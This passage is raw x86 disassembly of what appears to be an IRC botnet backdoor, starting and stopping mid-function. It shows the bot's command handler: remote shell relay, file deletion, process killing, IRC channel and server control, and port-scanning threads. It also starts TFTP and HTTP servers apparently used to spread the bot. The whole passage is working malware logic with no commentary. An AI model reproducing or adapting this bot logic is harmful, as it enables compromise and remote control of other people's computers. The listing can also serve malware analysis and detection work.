		push	offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
		jmp	short loc_40AE0C
; ---------------------------------------------------------------------------


loc_40ADBF:				; CODE XREF: sub_4078FA+34BCj
		push	ebx
		push	offset aCmdCommandsS ; "[CMD]: Commands: %s"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_40AE37
; ---------------------------------------------------------------------------


loc_40ADD0:				; CODE XREF: sub_4078FA+1B12j
					; sub_4078FA+1B26j
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	eax
		call	sub_4057CD
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40AE07
		push	offset aMircClientNotO ; "[mIRC]: Client not open."
		jmp	short loc_40AE0C
; ---------------------------------------------------------------------------


loc_40AE07:				; CODE XREF: sub_4078FA+3504j
		push	offset aMircCommandSen ; "[mIRC]: Command sent."


loc_40AE0C:				; CODE XREF: sub_4078FA+1C34j
					; sub_4078FA+1C3Ej ...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40AE14:				; CODE XREF: sub_4078FA+1BAFj
					; sub_4078FA+1C0Cj ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40AE37
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40AE37:				; CODE XREF: sub_4078FA+3385j
					; sub_4078FA+3397j ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40AE49:				; CODE XREF: sub_4078FA+1AEAj
					; sub_4078FA+1AFEj
		push	0
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_4030C4
		push	[ebp+var_8]
		push	offset aFileListS ; "[FILE]: List: %s"
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40AE69:				; CODE XREF: sub_4078FA+1AC2j
					; sub_4078FA+1AD6j
		push	20h
		push	[ebp+var_8]
		call	ds:dword_41F0A0
		push	[ebp+var_8]
		call	ds:dword_41F0B8
		test	eax, eax
		jz	short loc_40AE8B
		push	[ebp+var_8]
		push	offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'."
		jmp	short loc_40AE96
; ---------------------------------------------------------------------------


loc_40AE8B:				; CODE XREF: sub_4078FA+3585j
		push	offset aFile	; "[FILE]:"
		call	sub_405708
		push	eax


loc_40AE96:				; CODE XREF: sub_4078FA+358Fj
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D


loc_40AEA7:				; CODE XREF: sub_4078FA+36F0j
		add	esp, 10h


loc_40AEAA:				; CODE XREF: sub_4078FA+3708j
					; sub_4078FA+4ABCj
		cmp	[ebp+var_C], 0
		jnz	loc_409015
		push	0
		jmp	loc_408FFA
; ---------------------------------------------------------------------------


loc_40AEBB:				; CODE XREF: sub_4078FA+1A9Aj
					; sub_4078FA+1AAEj
		push	[ebp+var_8]
		call	sub_412F42
		push	eax
		call	sub_4074C6
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+var_8]
		cmp	eax, esi
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40AEE2
		push	offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
		jmp	short loc_40AEE7
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_4078FA+35DFj
		push	offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...


loc_40AEE7:				; CODE XREF: sub_4078FA+35E6j
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	loc_409018
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h
		jmp	loc_409018
; ---------------------------------------------------------------------------


loc_40AF1C:				; CODE XREF: sub_4078FA+1A72j
					; sub_4078FA+1A86j
		push	1
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4070E8
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_40AF55
		push	[ebp+var_8]
		push	offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s"


loc_40AF46:				; CODE XREF: sub_4078FA+299Bj
		lea	eax, [ebp+var_2E0]


loc_40AF4C:				; CODE XREF: sub_4078FA+2BCFj
					; sub_4078FA+3694j ...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40AF55:				; CODE XREF: sub_4078FA+29B0j
					; sub_4078FA+2B73j ...
		cmp	[ebp+var_C], esi
		jnz	loc_409015
		push	esi
		jmp	loc_408FFA
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: sub_4078FA+1A4Aj
					; sub_4078FA+1A5Ej
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_4]
		call	sub_4070E8
		add	esp, 1Ch
		push	[ebp+var_8]
		cmp	eax, 1
		lea	eax, [ebp+var_2E0]
		jnz	short loc_40AF90
		push	offset aProcProcessK_1 ; "[PROC]: Process killed: %s"
		jmp	short loc_40AF4C
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: sub_4078FA+368Dj
		push	offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
		jmp	short loc_40AF4C
; ---------------------------------------------------------------------------


loc_40AF97:				; CODE XREF: sub_4078FA+1A22j
					; sub_4078FA+1A36j
		mov	esi, [ebp+var_8]
		push	esi
		call	dword_433514
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40AFBF
		push	2
		push	4
		lea	eax, [ebp+arg_0]
		push	eax
		call	dword_433590
		test	eax, eax
		jz	short loc_40AFEF
		push	dword ptr [eax]
		jmp	short loc_40AFD8
; ---------------------------------------------------------------------------


loc_40AFBF:				; CODE XREF: sub_4078FA+36ADj
		push	esi
		call	dword_433500
		test	eax, eax
		jz	short loc_40AFEF
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_433520
		push	eax


loc_40AFD8:				; CODE XREF: sub_4078FA+36C3j
		push	esi
		lea	eax, [ebp+var_2E0]
		push	offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
		push	eax
		call	sub_412BB5
		jmp	loc_40AEA7
; ---------------------------------------------------------------------------


loc_40AFEF:				; CODE XREF: sub_4078FA+36BFj
					; sub_4078FA+36CEj
		lea	eax, [ebp+var_2E0]
		push	offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40AEAA
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: sub_4078FA+19FAj
					; sub_4078FA+1A0Ej
		push	7Fh
		push	[ebp+var_8]
		push	[ebp+arg_14]
		call	sub_412C40
		push	[ebp+var_8]
		lea	eax, [ebp+var_2E0]
		push	offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
		push	eax
		call	sub_412BB5
		add	esp, 18h
		jmp	loc_40C47E
; ---------------------------------------------------------------------------


loc_40B030:				; CODE XREF: sub_4078FA+19D2j
					; sub_4078FA+19E6j
		push	5
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_8]
		push	offset aOpen	; "open"
		push	esi
		call	dword_4335A8
		push	[ebp+var_8]
		test	eax, eax
		lea	eax, [ebp+var_2E0]
		jz	short loc_40B05C
		push	offset aShellFileOpene ; "[SHELL]: File	opened:	%s"
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_40B05C:				; CODE XREF: sub_4078FA+3756j
		push	offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
		jmp	loc_40AF4C
; ---------------------------------------------------------------------------


loc_40B066:				; CODE XREF: sub_4078FA+19AAj
					; sub_4078FA+19BEj
		mov	eax, [ebp+var_8]
		mov	cl, [eax]
		mov	byte_42AE5C, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
		jmp	loc_40C46F
; ---------------------------------------------------------------------------


loc_40B07F:				; CODE XREF: sub_4078FA+1982j
					; sub_4078FA+1996j
		push	[ebp+var_8]
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_40CFE2
		push	[ebp+var_8]
		call	sub_412F42
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40CFE2
		push	0
		push	0
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_40E7B0
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		jmp	loc_40A841
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_4078FA+195Aj
					; sub_4078FA+196Ej
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jle	loc_407B7B
		push	edi
		call	sub_412F42
		mov	esi, 1F4h
		cmp	eax, esi
		pop	ecx
		jge	loc_407B7B
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	sub_404592
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F000
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_434344[eax]
		call	dword_4335AC
		push	[ebp+var_18]
		push	edi
		call	sub_412F42
		imul	eax, 234h
		pop	ecx
		push	dword_43434C[eax]
		call	ds:dword_41F0C8
		push	edi
		call	sub_412F42
		imul	eax, 234h
		and	dword_43434C[eax], 0
		push	edi
		call	sub_412F42
		imul	eax, 234h
		and	byte ptr dword_434138[eax], 0
		pop	ecx
		pop	ecx
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40B17E:				; CODE XREF: sub_4078FA+1932j
					; sub_4078FA+1946j
		mov	edi, [ebp+var_8]
		push	4
		mov	esi, offset aAll ; "all"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B1BB
		call	sub_41105B
		test	eax, eax
		jle	short loc_40B1A3
		push	eax
		push	offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
		jmp	loc_40C532
; ---------------------------------------------------------------------------


loc_40B1A3:				; CODE XREF: sub_4078FA+389Cj
		push	offset aThreadsNoActiv ; "[THREADS]: No	active threads found."


loc_40B1A8:				; CODE XREF: sub_4078FA+420Ej
					; sub_4078FA+422Dj ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40ABC7
; ---------------------------------------------------------------------------


loc_40B1BB:				; CODE XREF: sub_4078FA+3893j
		mov	edi, [ebp+var_1C]
		jmp	short loc_40B22D
; ---------------------------------------------------------------------------


loc_40B1C0:				; CODE XREF: sub_4078FA+3937j
		mov	esi, [ebp+edi*4+var_A4]
		test	esi, esi
		jz	loc_407B7B
		push	esi
		call	sub_412F42
		push	eax
		call	sub_410FD3
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2E0]
		jz	short loc_40B1EF
		push	offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
		jmp	short loc_40B1F4
; ---------------------------------------------------------------------------


loc_40B1EF:				; CODE XREF: sub_4078FA+38ECj
		push	offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."


loc_40B1F4:				; CODE XREF: sub_4078FA+38F3j
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40B220
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40B220:				; CODE XREF: sub_4078FA+3907j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40B22D:				; CODE XREF: sub_4078FA+38C4j
		inc	edi
		cmp	edi, 20h
		jb	short loc_40B1C0
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40B238:				; CODE XREF: sub_4078FA+190Aj
					; sub_4078FA+191Ej
		cmp	[ebp+var_14], 0
		jz	loc_40CFE2
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40CFE2
		push	esi
		push	offset aS_4	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	esi
		push	offset aMainIrcRawS_ ; "[MAIN]:	IRC Raw: %s."
		jmp	short loc_40B2C5
; ---------------------------------------------------------------------------


loc_40B26F:				; CODE XREF: sub_4078FA+18E2j
					; sub_4078FA+18F6j
		push	[ebp+var_8]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		push	offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
		jmp	short loc_40B2C5
; ---------------------------------------------------------------------------


loc_40B289:				; CODE XREF: sub_4078FA+18BAj
					; sub_4078FA+18CEj
		push	[ebp+ebx+var_9C]
		push	[ebp+var_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		push	offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
		jmp	loc_40A8FB
; ---------------------------------------------------------------------------


loc_40B2AD:				; CODE XREF: sub_4078FA+1892j
					; sub_4078FA+18A6j
		push	[ebp+var_8]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		push	[ebp+var_8]
		push	offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."


loc_40B2C5:				; CODE XREF: sub_4078FA+3135j
					; sub_4078FA+3973j ...
		call	sub_401CA7


loc_40B2CA:				; CODE XREF: sub_4078FA+319Bj
		add	esp, 14h
		jmp	loc_40CFE2
; ---------------------------------------------------------------------------


loc_40B2D2:				; CODE XREF: sub_4078FA+1858j
					; sub_4078FA+186Cj
		mov	cl, byte_42A1B2
		and	[ebp+arg_0], 0
		test	cl, cl
		mov	edx, offset byte_42A1B2
		jz	loc_407B7B
		mov	eax, edx


loc_40B2EB:				; CODE XREF: sub_4078FA+39FAj
		inc	[ebp+arg_0]
		add	eax, 0Bh
		cmp	byte ptr [eax],	0
		jnz	short loc_40B2EB
		test	cl, cl
		jz	loc_407B7B
		mov	[ebp+var_1C], edx


loc_40B301:				; CODE XREF: sub_4078FA+3CDEj
		push	9
		call	sub_4110DA
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_40B351
		push	ecx
		lea	eax, [ebp+var_2E0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 20h
		jmp	loc_40B5CE
; ---------------------------------------------------------------------------


loc_40B351:				; CODE XREF: sub_4078FA+3A21j
		or	[ebp+var_4C8], 0FFFFFFFFh
		xor	esi, esi
		cmp	dword_42A068, esi
		mov	[ebp+var_4CC], 0C8h
		mov	[ebp+var_4E0], 5
		mov	[ebp+var_4DC], esi
		mov	[ebp+arg_0], esi
		jz	short loc_40B3E4
		mov	edx, [ebp+var_1C]
		add	edx, 0FFFFFFF6h
		mov	edi, offset dword_42A068


loc_40B38A:				; CODE XREF: sub_4078FA+3ACCj
		mov	esi, edx
		lea	eax, [edi-28h]


loc_40B38F:				; CODE XREF: sub_4078FA+3AB1j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40B3B3
		test	cl, cl
		jz	short loc_40B3AD
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40B3B3
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40B38F


loc_40B3AD:				; CODE XREF: sub_4078FA+3A9Fj
		xor	esi, esi
		xor	eax, eax
		jmp	short loc_40B3BA
; ---------------------------------------------------------------------------


loc_40B3B3:				; CODE XREF: sub_4078FA+3A9Bj
					; sub_4078FA+3AA9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		xor	esi, esi


loc_40B3BA:				; CODE XREF: sub_4078FA+3AB7j
		cmp	eax, esi
		jz	short loc_40B3CA
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], esi
		jnz	short loc_40B38A
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_4078FA+3AC2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42A068[ecx]
		mov	[ebp+var_4E4], ecx
		mov	[ebp+var_4C8], eax


loc_40B3E4:				; CODE XREF: sub_4078FA+3A83j
					; sub_4078FA+3ACEj
		cmp	[ebp+var_4E4], esi
		jz	loc_40B5F5
		push	10h
		pop	esi
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_A8], esi
		call	dword_433418
		mov	al, [ebp+var_44B]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_C4], eax
		push	[ebp+var_C4]
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C40
		xor	eax, eax
		cmp	[ebp+var_44B], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C10
		add	esp, 14h
		xor	bl, bl
		test	esi, esi
		jle	short loc_40B48A


loc_40B46A:				; CODE XREF: sub_4078FA+3B8Ej
		test	eax, eax
		jz	short loc_40B48A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_67C]
		push	30h
		push	eax
		call	sub_412C10
		pop	ecx
		inc	bl
		pop	ecx
		movsx	ecx, bl
		cmp	ecx, esi
		jl	short loc_40B46A


loc_40B48A:				; CODE XREF: sub_4078FA+3B6Ej
					; sub_4078FA+3B72j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_4E8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4C0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4BC], eax
		mov	ebx, 80h
		lea	eax, [ebp+var_5E8]
		push	ebx
		push	eax
		mov	[ebp+var_4B8], 1
		call	sub_412E0D
		xor	ecx, ecx
		add	esp, 0Ch
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 41FA76h
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40B4F2
		push	eax
		lea	eax, [ebp+var_568]
		push	ebx
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40B4F9
; ---------------------------------------------------------------------------


loc_40B4F2:				; CODE XREF: sub_4078FA+3BE3j
		and	[ebp+var_568], 0


loc_40B4F9:				; CODE XREF: sub_4078FA+3BF6j
		xor	esi, esi
		cmp	[ebp+var_4B8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40B50D
		mov	eax, offset aSequential	; "Sequential"


loc_40B50D:				; CODE XREF: sub_4078FA+3C0Cj
		push	[ebp+var_4CC]
		lea	ecx, [ebp+var_67C]
		push	[ebp+var_4DC]
		push	[ebp+var_4E0]
		push	[ebp+var_4E4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	9
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_67C]
		push	eax
		push	offset sub_4018D1
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40B5EB
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40B5A0:				; CODE XREF: sub_4078FA+3CF9j
		cmp	[ebp+var_C], esi
		jnz	short loc_40B5C1
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40B5C1:				; CODE XREF: sub_4078FA+3CA9j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40B5CE:				; CODE XREF: sub_4078FA+3A52j
		add	[ebp+var_1C], 0Bh
		mov	eax, [ebp+var_1C]
		cmp	byte ptr [eax],	0
		jnz	loc_40B301
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40B5E3:				; CODE XREF: sub_4078FA+3CF7j
		push	32h
		call	ds:dword_41F000


loc_40B5EB:				; CODE XREF: sub_4078FA+3C89j
		cmp	[ebp+var_4B4], esi
		jz	short loc_40B5E3
		jmp	short loc_40B5A0
; ---------------------------------------------------------------------------


loc_40B5F5:				; CODE XREF: sub_4078FA+3AF0j
		lea	eax, [ebp+var_2E0]
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	loc_40CA03
; ---------------------------------------------------------------------------


loc_40B60D:				; CODE XREF: sub_4078FA+1830j
					; sub_4078FA+1844j
		push	5
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_40B631
		push	offset aTftpAlreadyRun ; "[TFTP]: Already running."


loc_40B61E:				; CODE XREF: sub_4078FA+4E26j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		xor	edi, edi
		jmp	loc_40C8BE
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_4078FA+3D1Dj
		mov	eax, [ebp+ebx+var_A0]
		xor	edi, edi
		cmp	eax, edi
		mov	esi, 104h
		jz	short loc_40B656
		push	eax
		lea	eax, [ebp+var_74C]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40B665
; ---------------------------------------------------------------------------


loc_40B656:				; CODE XREF: sub_4078FA+3D47j
		push	esi
		lea	eax, [ebp+var_74C]
		push	eax
		push	edi
		call	ds:dword_41F010


loc_40B665:				; CODE XREF: sub_4078FA+3D5Aj
		mov	ebx, [ebp+ebx+var_9C]
		cmp	ebx, edi
		jnz	short loc_40B675
		mov	ebx, offset byte_42AED0


loc_40B675:				; CODE XREF: sub_4078FA+3D74j
		push	ebx
		lea	eax, [ebp+var_648]
		push	esi
		push	eax
		call	sub_412E0D
		mov	eax, dword_42AE44
		mov	[ebp+var_53C], eax
		mov	eax, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_538]
		push	eax
		mov	[ebp+var_540], edi
		call	sub_412C40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4B8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4B4], eax
		lea	eax, [ebp+var_648]
		push	eax
		lea	eax, [ebp+var_74C]
		push	eax
		push	[ebp+var_53C]
		lea	eax, [ebp+var_2E0]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	5
		push	eax
		call	sub_410EEA
		add	esp, 38h
		mov	[ebp+var_544], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_750]
		push	eax
		push	offset sub_410A22
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_544]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40B757
		call	ds:dword_41F008
		push	eax
		push	offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "...


loc_40B73B:				; CODE XREF: sub_4078FA+4F9Cj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40C8C0
; ---------------------------------------------------------------------------


loc_40B74F:				; CODE XREF: sub_4078FA+3E63j
		push	32h
		call	ds:dword_41F000


loc_40B757:				; CODE XREF: sub_4078FA+3E33j
		cmp	[ebp+var_4B0], edi
		jz	short loc_40B74F
		jmp	loc_40C8C0
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_4078FA+1808j
					; sub_4078FA+181Cj
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40B783
		push	esi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jz	short loc_40B783
		push	esi
		call	sub_412F42
		pop	ecx
		jmp	short loc_40B788
; ---------------------------------------------------------------------------


loc_40B783:				; CODE XREF: sub_4078FA+3E73j
					; sub_4078FA+3E7Ej
		mov	eax, dword_42AE48


loc_40B788:				; CODE XREF: sub_4078FA+3E87j
		mov	ebx, [ebp+ebx+var_9C]
		mov	[ebp+var_C24], eax
		xor	eax, eax
		cmp	[ebp+var_448], al
		setz	al
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_C10], eax
		jz	short loc_40B7BD
		lea	eax, [ebp+var_D28]
		push	ebx
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_40B7E8
; ---------------------------------------------------------------------------


loc_40B7BD:				; CODE XREF: sub_4078FA+3EB0j
		push	104h
		lea	eax, [ebp+var_B74]
		push	eax
		call	ds:dword_41F040
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_B74]
		push	eax
		call	sub_4141AD
		add	esp, 14h


loc_40B7E8:				; CODE XREF: sub_4078FA+3EC1j
		lea	eax, [ebp+var_D28]
		lea	edx, [eax+1]


loc_40B7F1:				; CODE XREF: sub_4078FA+3EFCj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40B7F1
		sub	eax, edx
		cmp	[ebp+eax+var_D29], 5Ch
		jnz	short loc_40B81D
		lea	eax, [ebp+var_D28]
		lea	edx, [eax+1]


loc_40B80D:				; CODE XREF: sub_4078FA+3F18j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40B80D
		sub	eax, edx
		and	[ebp+eax+var_D29], cl


loc_40B81D:				; CODE XREF: sub_4078FA+3F08j
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_FB0]
		push	80h
		push	eax
		mov	[ebp+var_FB4], esi
		call	sub_412E0D
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_C14], eax
		lea	eax, [ebp+var_D28]
		push	eax
		push	[ebp+var_C24]
		mov	[ebp+var_C18], ebx
		push	esi
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	4
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	[ebp+var_C1C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_FB4]
		push	eax
		push	offset sub_403E06
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_C1C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40B8D8
		call	ds:dword_41F008
		push	eax
		push	offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
		jmp	loc_40A005
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: sub_4078FA+3FE4j
		push	32h
		call	ds:dword_41F000


loc_40B8D8:				; CODE XREF: sub_4078FA+3FC3j
		cmp	[ebp+var_C08], edi
		jz	short loc_40B8D0
		jmp	loc_40A014
; ---------------------------------------------------------------------------


loc_40B8E5:				; CODE XREF: sub_4078FA+17E0j
					; sub_4078FA+17F4j
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40B904
		push	esi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jz	short loc_40B904
		push	esi
		call	sub_412F42
		pop	ecx
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B904:				; CODE XREF: sub_4078FA+3FF4j
					; sub_4078FA+3FFFj
		mov	eax, dword_42AE4C


loc_40B909:				; CODE XREF: sub_4078FA+4008j
		mov	[ebp+var_890], eax
		mov	eax, [ebp+ebx+var_9C]
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_40B922
		lea	eax, [ebp+var_E0]


loc_40B922:				; CODE XREF: sub_4078FA+4020j
